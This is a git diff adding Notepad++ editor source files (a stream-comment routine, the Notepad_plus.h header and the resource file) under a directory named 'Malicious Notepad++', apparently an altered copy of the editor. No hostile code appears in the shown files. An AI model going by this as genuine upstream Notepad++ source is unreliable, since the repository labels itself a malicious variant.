_pEditView->searchInTarget(end_comment.c_str(), end_comment_length, selectionStart, docLength); + (posEndCommentAfter[iSelStart] == -1 ? blnEndCommentAfter[iSelStart] = false : blnEndCommentAfter[iSelStart] = true); + + //-- Check, if selectionStart or selectionEnd is within a stream comment ----- + // or if the selection includes a complete stream-comment!! ---------------- + + //-- First, check if there is a stream-comment around the selectionStart position: + if ((blnStartCommentBefore[iSelStart] && blnEndCommentAfter[iSelStart]) + && (!blnEndCommentBefore[iSelStart] || (posStartCommentBefore[iSelStart] >= posEndCommentBefore[iSelStart])) + && (!blnStartCommentAfter[iSelStart] || (posEndCommentAfter[iSelStart] <= posStartCommentAfter[iSelStart]))) + { + posStartComment = posStartCommentBefore[iSelStart]; + posEndComment = posEndCommentAfter[iSelStart]; + } + else //-- Second, check if there is a stream-comment around the selectionEnd position: + { + //-- Find all start- and end-comments before and after the selectionEnd position. + //-- Direction DIR_UP --- + posStartCommentBefore[iSelEnd] = _pEditView->searchInTarget(start_comment.c_str(), start_comment_length, selectionEnd, 0); + (posStartCommentBefore[iSelEnd] == -1 ? blnStartCommentBefore[iSelEnd] = false : blnStartCommentBefore[iSelEnd] = true); + posEndCommentBefore[iSelEnd] = _pEditView->searchInTarget(end_comment.c_str(), end_comment_length, selectionEnd, 0); + (posEndCommentBefore[iSelEnd] == -1 ? blnEndCommentBefore[iSelEnd] = false : blnEndCommentBefore[iSelEnd] = true); + //-- Direction DIR_DOWN --- + posStartCommentAfter[iSelEnd] = _pEditView->searchInTarget(start_comment.c_str(), start_comment_length, selectionEnd, docLength); + (posStartCommentAfter[iSelEnd] == -1 ? blnStartCommentAfter[iSelEnd] = false : blnStartCommentAfter[iSelEnd] = true); + posEndCommentAfter[iSelEnd] = _pEditView->searchInTarget(end_comment.c_str(), end_comment_length, selectionEnd, docLength); + (posEndCommentAfter[iSelEnd] == -1 ? blnEndCommentAfter[iSelEnd] = false : blnEndCommentAfter[iSelEnd] = true); + + if ((blnStartCommentBefore[iSelEnd] && blnEndCommentAfter[iSelEnd]) + && (!blnEndCommentBefore[iSelEnd] || (posStartCommentBefore[iSelEnd] >= posEndCommentBefore[iSelEnd])) + && (!blnStartCommentAfter[iSelEnd] || (posEndCommentAfter[iSelEnd] <= posStartCommentAfter[iSelEnd]))) + { + posStartComment = posStartCommentBefore[iSelEnd]; + posEndComment = posEndCommentAfter[iSelEnd]; + } + //-- Third, check if there is a stream-comment within the selected area: + else if ( (blnStartCommentAfter[iSelStart] && (posStartCommentAfter[iSelStart] < selectionEnd)) + && (blnEndCommentBefore[iSelEnd] && (posEndCommentBefore[iSelEnd] > selectionStart))) + { + //-- If there are more than one stream-comment within the selection, take the first one after selectionStart!! + posStartComment = posStartCommentAfter[iSelStart]; + posEndComment = posEndCommentAfter[iSelStart]; + } + //-- Finally, if there is no stream-comment, return + else + return retVal; + } + + //-- Ok, there are valid start-comment and valid end-comment around the caret-position. + // Now, un-comment stream-comment: + retVal = true; + int startCommentLength = static_cast(start_comment_length); + int endCommentLength = static_cast(end_comment_length); + + //-- First delete end-comment, so that posStartCommentBefore does not change! + //-- Get character before end-comment to decide, if there is a white character before the end-comment, which will be removed too! + _pEditView->getGenericText(charbuf, charbufLen, posEndComment-1, posEndComment); + if (generic_strncmp(charbuf, white_space.c_str(), white_space.length()) == 0) + { + endCommentLength +=1; + posEndComment-=1; + } + //-- Delete end stream-comment string --------- + _pEditView->execute(SCI_BEGINUNDOACTION); + _pEditView->execute(SCI_SETSEL, posEndComment, posEndComment + endCommentLength); + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + + //-- Get character after start-comment to decide, if there is a white character after the start-comment, which will be removed too! + _pEditView->getGenericText(charbuf, charbufLen, posStartComment+startCommentLength, posStartComment+startCommentLength+1); + if (generic_strncmp(charbuf, white_space.c_str(), white_space.length()) == 0) + startCommentLength +=1; + + //-- Delete starting stream-comment string --------- + _pEditView->execute(SCI_SETSEL, posStartComment, posStartComment + startCommentLength); + _pEditView->execute(SCI_REPLACESEL, 0, reinterpret_cast("")); + _pEditView->execute(SCI_ENDUNDOACTION); + + //-- Reset selection before calling the routine + //-- Determine selection movement + // selectionStart + if (selectionStart > posStartComment) + { + if (selectionStart >= posStartComment+startCommentLength) + selectionStartMove = -static_cast(startCommentLength); + else + selectionStartMove = -static_cast(selectionStart - posStartComment); + } + else + selectionStartMove = 0; + + // selectionEnd + if (selectionEnd >= posEndComment+endCommentLength) + selectionEndMove = -static_cast(startCommentLength+endCommentLength); + else if (selectionEnd <= posEndComment) + selectionEndMove = -static_cast(startCommentLength); + else + selectionEndMove = -static_cast(startCommentLength + (selectionEnd - posEndComment)); + + //-- Reset selection of text without deleted stream-comment-string + if (move_caret) + { + // moving caret to the beginning of selected block + _pEditView->execute(SCI_GOTOPOS, selectionEnd+selectionEndMove); + _pEditView->execute(SCI_SETCURRENTPOS, selectionStart+selectionStartMove); + } + else + { + _pEditView->execute(SCI_SETSEL, selectionStart+selectionStartMove, selectionEnd+selectionEndMove); + } + } + while(1); //do as long as stream-comments are within selection + //return retVal; +} + diff --git a/Malicious Notepad++/src/Notepad_plus.h b/Malicious Notepad++/src/Notepad_plus.h new file mode 100644 index 0000000..ada0c75 --- /dev/null +++ b/Malicious Notepad++/src/Notepad_plus.h @@ -0,0 +1,592 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "ScintillaEditView.h" +#include "DocTabView.h" +#include "SplitterContainer.h" +#include "FindReplaceDlg.h" +#include "AboutDlg.h" +#include "RunDlg.h" +#include "StatusBar.h" +#include "lastRecentFileList.h" +#include "GoToLineDlg.h" +#include "FindCharsInRange.h" +#include "columnEditor.h" +#include "WordStyleDlg.h" +#include "trayIconControler.h" +#include "PluginsManager.h" +#include "preferenceDlg.h" +#include "WindowsDlg.h" +#include "RunMacroDlg.h" +#include "DockingManager.h" +#include "Processus.h" +#include "AutoCompletion.h" +#include "SmartHighlighter.h" +#include "ScintillaCtrls.h" +#include "lesDlgs.h" +#include "pluginsAdmin.h" +#include "localization.h" +#include "documentSnapshot.h" +#include "md5Dlgs.h" +#include +#include + + +#define MENU 0x01 +#define TOOLBAR 0x02 + +#define URL_REG_EXPR "[A-Za-z]+://[A-Za-z0-9_\\-\\+~.:?&@=/%#,;\\{\\}\\(\\)\\[\\]\\|\\*\\!\\\\]+" + +enum FileTransferMode { + TransferClone = 0x01, + TransferMove = 0x02 +}; + +enum WindowStatus { //bitwise mask + WindowMainActive = 0x01, + WindowSubActive = 0x02, + WindowBothActive = 0x03, //little helper shortcut + WindowUserActive = 0x04, + WindowMask = 0x07 +}; + +enum trimOp { + lineHeader = 0, + lineTail = 1, + lineEol = 2 +}; + +enum spaceTab { + tab2Space = 0, + space2TabLeading = 1, + space2TabAll = 2 +}; + +struct TaskListInfo; + + +struct VisibleGUIConf final +{ + bool isPostIt = false; + bool isFullScreen = false; + + //Used by both views + bool isMenuShown = true; + //bool isToolbarShown; //toolbar forcefully hidden by hiding rebar + DWORD_PTR preStyle = (WS_OVERLAPPEDWINDOW | WS_CLIPCHILDREN); + + //used by postit only + bool isTabbarShown = true; + bool isAlwaysOnTop = false; + bool isStatusbarShown = true; + + //used by fullscreen only + WINDOWPLACEMENT _winPlace; + + VisibleGUIConf() + { + memset(&_winPlace, 0x0, sizeof(_winPlace)); + } +}; + +class FileDialog; +class Notepad_plus_Window; +class AnsiCharPanel; +class ClipboardHistoryPanel; +class VerticalFileSwitcher; +class ProjectPanel; +class DocumentMap; +class FunctionListPanel; +class FileBrowser; + + +class Notepad_plus final +{ +friend class Notepad_plus_Window; +friend class FileManager; + +public: + Notepad_plus(); + ~Notepad_plus(); + + LRESULT init(HWND hwnd); + LRESULT process(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + void killAllChildren(); + + enum comment_mode {cm_comment, cm_uncomment, cm_toggle}; + + void setTitle(); + void getTaskListInfo(TaskListInfo *tli); + + // For filtering the modeless Dialog message + + //! \name File Operations + //@{ + //The doXXX functions apply to a single buffer and dont need to worry about views, with the excpetion of doClose, since closing one view doesnt have to mean the document is gone + BufferID doOpen(const generic_string& fileName, bool isRecursive = false, bool isReadOnly = false, int encoding = -1, const TCHAR *backupFileName = NULL, time_t fileNameTimestamp = 0); + bool doReload(BufferID id, bool alert = true); + bool doSave(BufferID, const TCHAR * filename, bool isSaveCopy = false); + void doClose(BufferID, int whichOne, bool doDeleteBackup = false); + //bool doDelete(const TCHAR *fileName) const {return ::DeleteFile(fileName) != 0;}; + + void fileOpen(); + void fileNew(); + bool fileReload(); + bool fileClose(BufferID id = BUFFER_INVALID, int curView = -1); //use curView to override view to close from + bool fileCloseAll(bool doDeleteBackup, bool isSnapshotMode = false); + bool fileCloseAllButCurrent(); + bool fileCloseAllGiven(const std::vector& krvecBufferIndexes); + bool fileCloseAllToLeft(); + bool fileCloseAllToRight(); + bool fileSave(BufferID id = BUFFER_INVALID); + bool fileSaveAll(); + bool fileSaveSpecific(const generic_string& fileNameToSave); + bool fileSaveAs(BufferID id = BUFFER_INVALID, bool isSaveCopy = false); + bool fileDelete(BufferID id = BUFFER_INVALID); + bool fileRename(BufferID id = BUFFER_INVALID); + + bool addBufferToView(BufferID id, int whichOne); + bool moveBuffer(BufferID id, int whereTo); //assumes whereFrom is otherView(whereTo) + bool switchToFile(BufferID buffer); //find buffer in active view then in other view. + //@} + + bool isFileSession(const TCHAR * filename); + bool isFileWorkspace(const TCHAR * filename); + void filePrint(bool showDialog); + void saveScintillasZoom(); + + bool saveGUIParams(); + bool saveProjectPanelsParams(); + bool saveFileBrowserParam(); + void saveDockingParams(); + void saveUserDefineLangs(); + void saveShortcuts(); + void saveSession(const Session & session); + void saveCurrentSession(); + void saveFindHistory(); + + void getCurrentOpenedFiles(Session& session, bool includUntitledDoc = false); + + bool fileLoadSession(const TCHAR* fn = nullptr); + const TCHAR * fileSaveSession(size_t nbFile, TCHAR ** fileNames, const TCHAR *sessionFile2save); + const TCHAR * fileSaveSession(size_t nbFile = 0, TCHAR** fileNames = nullptr); + void changeToolBarIcons(); + + bool doBlockComment(comment_mode currCommentMode); + bool doStreamComment(); + bool undoStreamComment(bool tryBlockComment = true); + + bool addCurrentMacro(); + void macroPlayback(Macro); + + void loadLastSession(); + bool loadSession(Session & session, bool isSnapshotMode = false); + + void prepareBufferChangedDialog(Buffer * buffer); + void notifyBufferChanged(Buffer * buffer, int mask); + bool findInFinderFiles(FindersInfo *findInFolderInfo); + bool findInFiles(); + bool replaceInFiles(); + void setFindReplaceFolderFilter(const TCHAR *dir, const TCHAR *filters); + std::vector addNppComponents(const TCHAR *destDir, const TCHAR *extFilterName, const TCHAR *extFilter); + int getHtmlXmlEncoding(const TCHAR *fileName) const; + HACCEL getAccTable() const{ + return _accelerator.getAccTable(); + } + bool emergency(generic_string emergencySavedDir); + Buffer* getCurrentBuffer() { + return _pEditView->getCurrentBuffer(); + } + void launchDocumentBackupTask(); + int getQuoteIndexFrom(const char *quoter) const; + void showQuoteFromIndex(int index) const; + void showQuote(const char *quote, const char *quoter, bool doTrolling) const; + + +private: + Notepad_plus_Window *_pPublicInterface = nullptr; + Window *_pMainWindow = nullptr; + DockingManager _dockingManager; + std::vector _internalFuncIDs; + + AutoCompletion _autoCompleteMain; + AutoCompletion _autoCompleteSub; // each Scintilla has its own autoComplete + + SmartHighlighter _smartHighlighter; + NativeLangSpeaker _nativeLangSpeaker; + DocTabView _mainDocTab; + DocTabView _subDocTab; + DocTabView* _pDocTab = nullptr; + DocTabView* _pNonDocTab = nullptr; + + ScintillaEditView _subEditView; + ScintillaEditView _mainEditView; + ScintillaEditView _invisibleEditView; // for searches + ScintillaEditView _fileEditView; // for FileManager + ScintillaEditView* _pEditView = nullptr; + ScintillaEditView* _pNonEditView = nullptr; + + SplitterContainer* _pMainSplitter = nullptr; + SplitterContainer _subSplitter; + + ContextMenu _tabPopupMenu; + ContextMenu _tabPopupDropMenu; + ContextMenu _fileSwitcherMultiFilePopupMenu; + + ToolBar _toolBar; + IconList _docTabIconList; + + StatusBar _statusBar; + bool _toReduceTabBar = false; + ReBar _rebarTop; + ReBar _rebarBottom; + + // Dialog + FindReplaceDlg _findReplaceDlg; + FindInFinderDlg _findInFinderDlg; + + FindIncrementDlg _incrementFindDlg; + AboutDlg _aboutDlg; + DebugInfoDlg _debugInfoDlg; + RunDlg _runDlg; + MD5FromFilesDlg _md5FromFilesDlg; + MD5FromTextDlg _md5FromTextDlg; + GoToLineDlg _goToLineDlg; + ColumnEditorDlg _colEditorDlg; + WordStyleDlg _configStyleDlg; + PreferenceDlg _preference; + FindCharsInRangeDlg _findCharsInRangeDlg; + PluginsAdminDlg _pluginsAdminDlg; + DocumentPeeker _documentPeeker; + + // a handle list of all the Notepad++ dialogs + std::vector _hModelessDlgs; + + LastRecentFileList _lastRecentFileList; + + //vector _customIconVect; + + WindowsMenu _windowsMenu; + HMENU _mainMenuHandle = NULL; + + bool _sysMenuEntering = false; + + // make sure we don't recursively call doClose when closing the last file with -quitOnEmpty + bool _isAttemptingCloseOnQuit = false; + + // For FullScreen/PostIt features + VisibleGUIConf _beforeSpecialView; + void fullScreenToggle(); + void postItToggle(); + + // Keystroke macro recording and playback + Macro _macro; + bool _recordingMacro = false; + bool _playingBackMacro = false; + RunMacroDlg _runMacroDlg; + + // For conflict detection when saving Macros or RunCommands + ShortcutMapper * _pShortcutMapper = nullptr; + + // For hotspot + bool _linkTriggered = true; + bool _isFolding = false; + + //For Dynamic selection highlight + CharacterRange _prevSelectedRange; + + //Synchronized Scolling + struct SyncInfo final + { + int _line = 0; + int _column = 0; + bool _isSynScollV = false; + bool _isSynScollH = false; + + bool doSync() const {return (_isSynScollV || _isSynScollH); } + } + _syncInfo; + + bool _isUDDocked = false; + + trayIconControler* _pTrayIco = nullptr; + int _zoomOriginalValue = 0; + + Accelerator _accelerator; + ScintillaAccelerator _scintaccelerator; + + PluginsManager _pluginsManager; + ButtonDlg _restoreButton; + + bool _isFileOpening = false; + bool _isAdministrator = false; + + ScintillaCtrls _scintillaCtrls4Plugins; + + std::vector > _hideLinesMarks; + StyleArray _hotspotStyles; + + AnsiCharPanel* _pAnsiCharPanel = nullptr; + ClipboardHistoryPanel* _pClipboardHistoryPanel = nullptr; + VerticalFileSwitcher* _pFileSwitcherPanel = nullptr; + ProjectPanel* _pProjectPanel_1 = nullptr; + ProjectPanel* _pProjectPanel_2 = nullptr; + ProjectPanel* _pProjectPanel_3 = nullptr; + + FileBrowser* _pFileBrowser = nullptr; + + DocumentMap* _pDocMap = nullptr; + FunctionListPanel* _pFuncList = nullptr; + + BOOL notify(SCNotification *notification); + void command(int id); + +//Document management + UCHAR _mainWindowStatus = 0; //For 2 views and user dialog if docked + int _activeView = MAIN_VIEW; + + //User dialog docking + void dockUserDlg(); + void undockUserDlg(); + + //View visibility + void showView(int whichOne); + bool viewVisible(int whichOne); + void hideView(int whichOne); + void hideCurrentView(); + bool bothActive() { return (_mainWindowStatus & WindowBothActive) == WindowBothActive; }; + bool reloadLang(); + bool loadStyles(); + + int currentView() { + return _activeView; + } + + int otherView(){ + return (_activeView == MAIN_VIEW?SUB_VIEW:MAIN_VIEW); + } + + int otherFromView(int whichOne){ + return (whichOne == MAIN_VIEW?SUB_VIEW:MAIN_VIEW); + } + + bool canHideView(int whichOne); //true if view can safely be hidden (no open docs etc) + + bool isEmpty(); // true if we have 1 view with 1 clean, untitled doc + + int switchEditViewTo(int gid); //activate other view (set focus etc) + + void docGotoAnotherEditView(FileTransferMode mode); //TransferMode + void docOpenInNewInstance(FileTransferMode mode, int x = 0, int y = 0); + + void loadBufferIntoView(BufferID id, int whichOne, bool dontClose = false); //Doesnt _activate_ the buffer + bool removeBufferFromView(BufferID id, int whichOne); //Activates alternative of possible, or creates clean document if not clean already + + bool activateBuffer(BufferID id, int whichOne); //activate buffer in that view if found + void notifyBufferActivated(BufferID bufid, int view); + void performPostReload(int whichOne); +//END: Document management + + int doSaveOrNot(const TCHAR *fn); + int doReloadOrNot(const TCHAR *fn, bool dirty); + int doCloseOrNot(const TCHAR *fn); + int doDeleteOrNot(const TCHAR *fn); + int doActionOrNot(const TCHAR *title, const TCHAR *displayText, int type); + + void enableMenu(int cmdID, bool doEnable) const; + void enableCommand(int cmdID, bool doEnable, int which) const; + void checkClipboard(); + void checkDocState(); + void checkUndoState(); + void checkMacroState(); + void checkSyncState(); + void dropFiles(HDROP hdrop); + void checkModifiedDocument(); + + void getMainClientRect(RECT & rc) const; + void staticCheckMenuAndTB() const; + void dynamicCheckMenuAndTB() const; + void enableConvertMenuItems(EolType f) const; + void checkUnicodeMenuItems() const; + + generic_string getLangDesc(LangType langType, bool getName = false); + + void setLangStatus(LangType langType); + + void setDisplayFormat(EolType f); + void setUniModeText(); + void checkLangsMenu(int id) const ; + void setLanguage(LangType langType); + LangType menuID2LangType(int cmdID); + + BOOL processIncrFindAccel(MSG *msg) const; + BOOL processFindAccel(MSG *msg) const; + + void checkMenuItem(int itemID, bool willBeChecked) const { + ::CheckMenuItem(_mainMenuHandle, itemID, MF_BYCOMMAND | (willBeChecked?MF_CHECKED:MF_UNCHECKED)); + } + + bool isConditionExprLine(int lineNumber); + int findMachedBracePos(size_t startPos, size_t endPos, char targetSymbol, char matchedSymbol); + void maintainIndentation(TCHAR ch); + + void addHotSpot(); + + void bookmarkAdd(int lineno) const + { + if (lineno == -1) + lineno = static_cast(_pEditView->getCurrentLineNumber()); + if (!bookmarkPresent(lineno)) + _pEditView->execute(SCI_MARKERADD, lineno, MARK_BOOKMARK); + } + + void bookmarkDelete(int lineno) const + { + if (lineno == -1) + lineno = static_cast(_pEditView->getCurrentLineNumber()); + while (bookmarkPresent(lineno)) + _pEditView->execute(SCI_MARKERDELETE, lineno, MARK_BOOKMARK); + } + + bool bookmarkPresent(int lineno) const + { + if (lineno == -1) + lineno = static_cast(_pEditView->getCurrentLineNumber()); + LRESULT state = _pEditView->execute(SCI_MARKERGET, lineno); + return ((state & (1 << MARK_BOOKMARK)) != 0); + } + + void bookmarkToggle(int lineno) const + { + if (lineno == -1) + lineno = static_cast(_pEditView->getCurrentLineNumber()); + + if (bookmarkPresent(lineno)) + bookmarkDelete(lineno); + else + bookmarkAdd(lineno); + } + + void bookmarkNext(bool forwardScan); + void bookmarkClearAll() const + { + _pEditView->execute(SCI_MARKERDELETEALL, MARK_BOOKMARK); + } + + void copyMarkedLines(); + void cutMarkedLines(); + void deleteMarkedLines(bool isMarked); + void pasteToMarkedLines(); + void deleteMarkedline(int ln); + void inverseMarks(); + void replaceMarkedline(int ln, const TCHAR *str); + generic_string getMarkedLine(int ln); + void findMatchingBracePos(int & braceAtCaret, int & braceOpposite); + bool braceMatch(); + + void activateNextDoc(bool direction); + void activateDoc(size_t pos); + + void updateStatusBar(); + size_t getSelectedCharNumber(UniMode); + size_t getCurrentDocCharCount(UniMode u); + size_t getSelectedAreas(); + size_t getSelectedBytes(); + bool isFormatUnicode(UniMode); + int getBOMSize(UniMode); + + void showAutoComp(); + void autoCompFromCurrentFile(bool autoInsert = true); + void showFunctionComp(); + void showPathCompletion(); + + //void changeStyleCtrlsLang(HWND hDlg, int *idArray, const char **translatedText); + bool replaceInOpenedFiles(); + bool findInOpenedFiles(); + bool findInCurrentFile(); + + void getMatchedFileNames(const TCHAR *dir, const std::vector & patterns, std::vector & fileNames, bool isRecursive, bool isInHiddenDir); + void doSynScorll(HWND hW); + void setWorkingDir(const TCHAR *dir); + bool str2Cliboard(const generic_string & str2cpy); + + bool getIntegralDockingData(tTbData & dockData, int & iCont, bool & isVisible); + int getLangFromMenuName(const TCHAR * langName); + generic_string getLangFromMenu(const Buffer * buf); + + generic_string exts2Filters(generic_string exts) const; + int setFileOpenSaveDlgFilters(FileDialog & fDlg, int langType = -1); + Style * getStyleFromName(const TCHAR *styleName); + bool dumpFiles(const TCHAR * outdir, const TCHAR * fileprefix = TEXT("")); //helper func + void drawTabbarColoursFromStylerArray(); + + void loadCommandlineParams(const TCHAR * commandLine, CmdLineParams * pCmdParams); + bool noOpenedDoc() const; + bool goToPreviousIndicator(int indicID2Search, bool isWrap = true) const; + bool goToNextIndicator(int indicID2Search, bool isWrap = true) const; + int wordCount(); + + void wsTabConvert(spaceTab whichWay); + void doTrim(trimOp whichPart); + void removeEmptyLine(bool isBlankContained); + void launchAnsiCharPanel(); + void launchClipboardHistoryPanel(); + void launchFileSwitcherPanel(); + void launchProjectPanel(int cmdID, ProjectPanel ** pProjPanel, int panelID); + void launchDocMap(); + void launchFunctionList(); + void launchFileBrowser(const std::vector & folders); + void showAllQuotes() const; + static DWORD WINAPI threadTextPlayer(void *text2display); + static DWORD WINAPI threadTextTroller(void *params); + static int getRandomAction(int ranNum); + static bool deleteBack(ScintillaEditView *pCurrentView, BufferID targetBufID); + static bool deleteForward(ScintillaEditView *pCurrentView, BufferID targetBufID); + static bool selectBack(ScintillaEditView *pCurrentView, BufferID targetBufID); + + static int getRandomNumber(int rangeMax = -1) + { + int randomNumber = rand(); + if (rangeMax == -1) + return randomNumber; + return (rand() % rangeMax); + } + + static DWORD WINAPI backupDocument(void *params); + + static DWORD WINAPI monitorFileOnChange(void * params); + struct MonitorInfo final { + MonitorInfo(Buffer *buf, HWND nppHandle) : + _buffer(buf), _nppHandle(nppHandle) {}; + Buffer *_buffer = nullptr; + HWND _nppHandle = nullptr; + }; +}; + + diff --git a/Malicious Notepad++/src/Notepad_plus.rc b/Malicious Notepad++/src/Notepad_plus.rc new file mode 100644 index 0000000..bdd2611 --- /dev/null +++ b/Malicious Notepad++/src/Notepad_plus.rc @@ -0,0 +1,1044 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "resource.h" +#include "menuCmdID.h" + +VS_VERSION_INFO VERSIONINFO +FILEVERSION VERSION_DIGITALVALUE +PRODUCTVERSION VERSION_DIGITALVALUE +FILEFLAGSMASK 0x3fL +FILEFLAGS 0 +FILEOS VOS_NT_WINDOWS32 +FILETYPE VFT_APP +FILESUBTYPE VFT2_UNKNOWN +BEGIN + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "CompanyName", "Don HO don.h@free.fr\0" + VALUE "FileDescription", "Notepad++ : a free (GNU) source code editor\0" + VALUE "FileVersion", VERSION_VALUE + VALUE "InternalName", "npp.exe\0" + VALUE "LegalCopyright", "Copyleft 1998-2016 by Don HO\0" + VALUE "OriginalFilename", "Notepad++.exe\0" + VALUE "ProductName", "Notepad++\0" + VALUE "ProductVersion", VERSION_VALUE + END + END +END + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_M30ICON ICON "icons/npp.ico" +IDI_CHAMELEON ICON "icons/chameleon.ico" +//IDI_JESUISCHARLIE ICON "icons/Je_suis_Charlie.ico" +IDI_NEW_OFF_ICON ICON "icons/new_off.ico" +IDI_OPEN_OFF_ICON ICON "icons/open_off.ico" +IDI_SAVE_OFF_ICON ICON "icons/save_off.ico" +IDI_SAVEALL_OFF_ICON ICON "icons/saveall_off.ico" +IDI_CLOSE_OFF_ICON ICON "icons/supp_off.ico" +IDI_CLOSEALL_OFF_ICON ICON "icons/suppall_off.ico" +IDI_CUT_OFF_ICON ICON "icons/cut_off.ico" +IDI_COPY_OFF_ICON ICON "icons/dupli_off.ico" +IDI_PASTE_OFF_ICON ICON "icons/paste_off.ico" +IDI_UNDO_OFF_ICON ICON "icons/undo_off.ico" +IDI_REDO_OFF_ICON ICON "icons/redo_off.ico" +IDI_FIND_OFF_ICON ICON "icons/find_off.ico" +IDI_REPLACE_OFF_ICON ICON "icons/findrep_off.ico" +IDI_ZOOMIN_OFF_ICON ICON "icons/zoomIn_off.ico" +IDI_ZOOMOUT_OFF_ICON ICON "icons/zoomOut_off.ico" +IDI_VIEW_UD_DLG_OFF_ICON ICON "icons/userDefineDlg_off.ico" +IDI_VIEW_ALL_CHAR_OFF_ICON ICON "icons/allChars_off.ico" +IDI_VIEW_INDENT_OFF_ICON ICON "icons/indentGuide_off.ico" +IDI_VIEW_WRAP_OFF_ICON ICON "icons/wrap_off.ico" +IDI_PRINT_OFF_ICON ICON "icons/imprim_off.ico" +IDI_NEW_ON_ICON ICON "icons/new_on.ico" +IDI_OPEN_ON_ICON ICON "icons/open_on.ico" +IDI_SAVE_ON_ICON ICON "icons/save_on.ico" +IDI_SAVEALL_ON_ICON ICON "icons/saveall_on.ico" +IDI_CLOSE_ON_ICON ICON "icons/supp_on.ico" +IDI_CLOSEALL_ON_ICON ICON "icons/suppall_on.ico" +IDI_CUT_ON_ICON ICON "icons/cut_on.ico" +IDI_COPY_ON_ICON ICON "icons/dupli_on.ico" +IDI_PASTE_ON_ICON ICON "icons/paste_on.ico" +IDI_UNDO_ON_ICON ICON "icons/undo_on.ico" +IDI_REDO_ON_ICON ICON "icons/redo_on.ico" +IDI_FIND_ON_ICON ICON "icons/find_on.ico" +IDI_REPLACE_ON_ICON ICON "icons/findrep_on.ico" +IDI_ZOOMIN_ON_ICON ICON "icons/zoomIn_on.ico" +IDI_ZOOMOUT_ON_ICON ICON "icons/zoomOut_on.ico" +IDI_VIEW_UD_DLG_ON_ICON ICON "icons/userDefineDlg_on.ico" +IDI_VIEW_ALL_CHAR_ON_ICON ICON "icons/allChars_on.ico" +IDI_VIEW_INDENT_ON_ICON ICON "icons/indentGuide_on.ico" +IDI_VIEW_WRAP_ON_ICON ICON "icons/wrap_on.ico" +IDI_PRINT_ON_ICON ICON "icons/imprim_on.ico" + +IDI_SAVE_DISABLE_ICON ICON "icons/save_dis.ico" +IDI_SAVEALL_DISABLE_ICON ICON "icons/saveall_dis.ico" +IDI_CUT_DISABLE_ICON ICON "icons/cut_dis.ico" +IDI_COPY_DISABLE_ICON ICON "icons/dupli_dis.ico" +IDI_PASTE_DISABLE_ICON ICON "icons/paste_dis.ico" +IDI_UNDO_DISABLE_ICON ICON "icons/undo_dis.ico" +IDI_REDO_DISABLE_ICON ICON "icons/redo_dis.ico" +// +IDI_SAVED_ICON ICON "icons/saved.ico" +IDI_UNSAVED_ICON ICON "icons/unsaved.ico" +IDI_READONLY_ICON ICON "icons/readonly.ico" +IDI_MONITORING_ICON ICON "icons/monitoring.ico" +IDI_DELETE_ICON ICON "icons/delete.ico" +IDI_FIND_RESULT_ICON ICON "icons/findResult.ico" + +IDC_DRAG_TAB CURSOR "cursors/drag.cur" +IDC_DRAG_INTERDIT_TAB CURSOR "cursors/drag_interdit.cur" +IDC_DRAG_PLUS_TAB CURSOR "cursors/drag_plus.cur" +IDC_DRAG_OUT_TAB CURSOR "cursors/drag_out.cur" + +IDR_FILENEW BITMAP "icons/newFile.bmp" +IDR_FILEOPEN BITMAP "icons/openFile.bmp" +IDR_FILESAVE BITMAP "icons/saveFile.bmp" +IDR_SAVEALL BITMAP "icons/saveAll.bmp" +IDR_CLOSEFILE BITMAP "icons/closeFile.bmp" +IDR_CLOSEALL BITMAP "icons/closeAll.bmp" +IDR_FIND BITMAP "icons/find.bmp" +IDR_REPLACE BITMAP "icons/findReplace.bmp" +IDR_ZOOMIN BITMAP "icons/zoomIn.bmp" +IDR_ZOOMOUT BITMAP "icons/zoomOut.bmp" +IDR_WRAP BITMAP "icons/wrap.bmp" +IDR_INVISIBLECHAR BITMAP "icons/invisibleChar.bmp" +IDR_INDENTGUIDE BITMAP "icons/indentGuide.bmp" +IDR_SHOWPANNEL BITMAP "icons/showPannel.bmp" +IDR_STARTRECORD BITMAP "icons/startRecord.bmp" +IDR_STOPRECORD BITMAP "icons/stopRecord.bmp" +IDR_PLAYRECORD BITMAP "icons/playRecord.bmp" +IDR_M_PLAYRECORD BITMAP "icons/playRecord_m.bmp" +IDR_SAVERECORD BITMAP "icons/saveRecord.bmp" +IDR_CUT BITMAP "icons/cut.bmp" +IDR_COPY BITMAP "icons/copy.bmp" +IDR_PASTE BITMAP "icons/paste.bmp" +IDR_UNDO 